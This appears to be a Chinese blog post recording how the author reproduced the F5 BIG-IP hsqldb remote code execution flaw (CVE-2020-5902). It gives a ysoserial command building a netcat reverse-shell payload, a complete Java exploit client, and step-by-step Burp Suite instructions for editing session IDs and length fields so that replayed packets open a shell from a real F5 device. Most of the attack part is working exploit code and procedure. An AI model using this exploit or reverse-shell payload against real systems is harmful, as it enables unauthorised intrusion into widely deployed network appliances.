看了下F5 hsqldb漏洞,在Github上可以找到POC,但是却一直复现不成功。原因是因为F5使用了HTTPS导致hsqldb连接失败。
看到了Longofo大佬写的F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析,大体思路是可以先本地搭建hsqlServlet,然后本地复现漏洞并抓取数据包,最后利用抓到的数据包重放到F5。自己按照文章里面的思路折腾了一篇,捣鼓大半天后终于成功了。这里记录一下复现的坑。
0x1 IDEA搭建hsqlServlet
这一步相对比较简单,hsqldb本身提供了Servlet模式,直接拿来用就行。
访问出现以下界面,环境搭建成功。
0x2 本地复现
这一步基本上就是按照Github上POC的流程走一遍。
从CVE-2020-5902.sh里提取出关键的两个过程,先尝试弹个计算器吧。
1 2 3 4 5
| java -jar ysoserial-master-SNAPSHOT.jar \ CommonsCollections6 \ "/bin/nc -e /bin/bash $localip $port" > nc.class #使用ysoserial生成POC,这里使用的payload是CommonsCollections6
xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex #生成十六进制编码的POC
|
稍微改一下f5RCE.java。运行后成功弹出计算器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import java.sql.Connection; import java.sql.DriverManager; import java.sql.Statement; import java.nio.file.Files; import java.nio.file.Paths; import java.io.IOException; import org.hsqldb.lib.StringConverter;
public class F5RCE {
public static void main(String[] args) { Connection connection; Statement statement; String pfile = "/Users/xiashang/Downloads/CVE-2020-5902/payload.hex";
String payload = null; try { payload = new String(Files.readAllBytes(Paths.get(pfile))); payload = payload.replaceAll("(\\n|\\r)",""); } catch (IOException e) { e.printStackTrace(); }
String dburl = "jdbc:hsqldb:http://localhost:8090/helloworld_war_exploded/hsql/";
try { Class.forName("org.hsqldb.jdbcDriver"); connection = DriverManager.getConnection(dburl, "sa",""); statement = connection.createStatement(); statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')"); statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload +"');"); } catch (java.sql.SQLException sqle) { // ignore java.sql.SQLException: S1000 // General error java.lang.IllegalArgumentException: argument type mismatch if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) { System.out.println("Payload executed"); } else { System.out.println("Unexpected SQL error"); sqle.printStackTrace(); } return; } catch (ClassNotFoundException cne) { System.err.println("Error loading db driver"); cne.printStackTrace(); return; } } }
|
0x3 抓取数据包
重新构造反弹的POC后,抓取数据包,关键数据包有三个。
三个数据包分别对应以下三个过程,第一步先认证,然后执行两条命令。
0x4 重放数据包
利用burpsuite重放数据包到F5,这里需要注意的是直接重放数据包不行的,因为本地抓的数据包sessionID和F5的不一致,会导致500报错。在重放第一数据包进行认证时时需要记录下来F5返回的sessionID。然后修改第二个和第三个数据包的sessionID再发送。
还有一个坑就是个别版本的burpsuite在粘贴请求包时会在最前面多加了3个00字节,如果有多加的话需要把前面3个00字节删除。
详细的复现过程如下:
第一步,先发送第一个认证数据包,记录下来返回包的sessionID,sessionID在13-16个字节,比如这里的是0000001f。
第二步,将第二个请求包的sessionID修改为第一步记录下来的sessionID,如果返回java.lang.String true证明命令执行成功。
第三步,还是将第三个请求包的sessionID修改为第一步记录下来的sessionID。发送后成功反弹shell。
有了数据包之后后面再构造不同的payload其实也挺方便的了,不需要再重复本地抓包去改了。第一个包直接直接重放,第二个包只需要修改sessionID即可,第三个包需要修改的稍微会多一点,需要分别修改总长度、sessionID、命令长度。这里主要看一下第三个数据包怎么修改。
生成需要执行的命令并替换到第三个数据包ACED开头序列化数据部分,然后修改sessionID为第一步的sessionID。
计算命令的长度,命令部分从call开始一直到最后。这里算出来的长度是2671,转成十六进制是0a6f。
修改数据包部分命令长度,长度就是call前面,比较容易找。
改完上面步骤之后先发送一个数据包过去,这个数据包可能还是会报错,因为总长度还没改,发送之后burpsuit会自动帮我们算好总长度,比如这里是2699,转成十六进制是0a8b。
最后修改总长度,总长度就在开头的4个字节。本地成功监听到F5发来的HTTP请求。